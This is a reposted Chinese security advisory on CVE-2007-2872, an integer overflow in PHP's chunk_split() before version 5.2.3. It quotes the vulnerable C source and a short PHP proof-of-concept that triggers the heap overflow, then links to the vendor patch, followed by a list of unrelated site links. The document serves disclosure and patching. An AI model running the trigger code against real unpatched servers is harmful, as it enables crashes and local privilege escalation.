PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
一个捕获函数输出的函数
Feb 14 PHP
php 运行效率总结(提示程序速度)
Nov 26 PHP
PHP缩略图等比例无损压缩,可填充空白区域补充色
Jun 10 PHP
PHP中通过语义URL防止网站被攻击的方法分享
Sep 08 PHP
php获取QQ头像并显示的方法
Dec 23 PHP
php查询mssql出现乱码的解决方法
Dec 29 PHP
php模拟post提交数据的方法
Feb 12 PHP
PHP易混淆知识整理笔记
Sep 24 PHP
PHP实现小偷程序实例
Oct 31 PHP
ThinkPHP 模板引擎使用详解
May 07 PHP
PHP 多进程与信号中断实现多任务常驻内存管理实例方法
Oct 04 PHP
如何解决php-fpm启动不了问题
Nov 17 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
用php+javascript实现二级级联菜单的制作
2008/05/06 PHP
php读取文件内容的几种方法详解
2013/06/26 PHP
win7计划任务定时执行PHP脚本设置图解
2014/05/09 PHP
php进行ip地址掩码运算处理的方法
2016/07/11 PHP
ThinkPHP 3.2.2实现事务操作的方法
2017/05/05 PHP
PHP实现的简单排列组合算法应用示例
2017/06/20 PHP
在JavaScript中使用inline函数的问题
2007/03/08 Javascript
JS处理VBArray的函数使用说明
2008/05/11 Javascript
DOM Scripting中的图片切换[兼容Firefox]
2010/06/12 Javascript
jquery mobile事件多次绑定示例代码
2013/09/13 Javascript
javascript客户端遍历控件与获取父容器对象示例代码
2014/01/06 Javascript
js onmousewheel事件多次触发问题解决方法
2014/10/17 Javascript
node.js中RPC(远程过程调用)的实现原理介绍
2014/12/05 Javascript
JS解析XML实例分析
2015/01/30 Javascript
AngularJS入门教程引导程序
2016/08/18 Javascript
JS创建Tag标签的方法详解
2017/06/09 Javascript
webpack配置之后端渲染详解
2017/10/26 Javascript
Element-UI Table组件上添加列拖拽效果实现方法
2018/04/14 Javascript
微信小程序Flex布局用法深入浅出分析
2019/04/25 Javascript
JS用最简单的方法实现四舍五入
2019/08/27 Javascript
SSM+layUI 根据登录信息显示不同的页面方法
2019/09/20 Javascript
vue如何在用户要关闭当前网页时弹出提示的实现
2020/05/31 Javascript
Node.js API详解之 dgram模块用法实例分析
2020/06/05 Javascript
python连接MySQL数据库实例分析
2015/05/12 Python
python画柱状图--不同颜色并显示数值的方法
2018/12/13 Python
Python学习笔记之变量、自定义函数用法示例
2019/05/28 Python
python两个_多个字典合并相加的实例代码
2019/12/26 Python
python多线程使用方法实例详解
2019/12/30 Python
anaconda安装pytorch1.7.1和torchvision0.8.2的方法(亲测可用)
2021/02/01 Python
html5+css3之制作header实例与更新
2020/12/21 HTML / CSS
使用html2canvas.js实现页面截图并显示或上传的示例代码
2018/12/18 HTML / CSS
new修饰符是起什么作用
2015/06/28 面试题
《广玉兰》教学反思
2014/04/14 职场文书
幼儿园大班评语大全
2014/04/17 职场文书
庆祝国庆节标语
2014/10/09 职场文书
股权转让协议书
2014/12/07 职场文书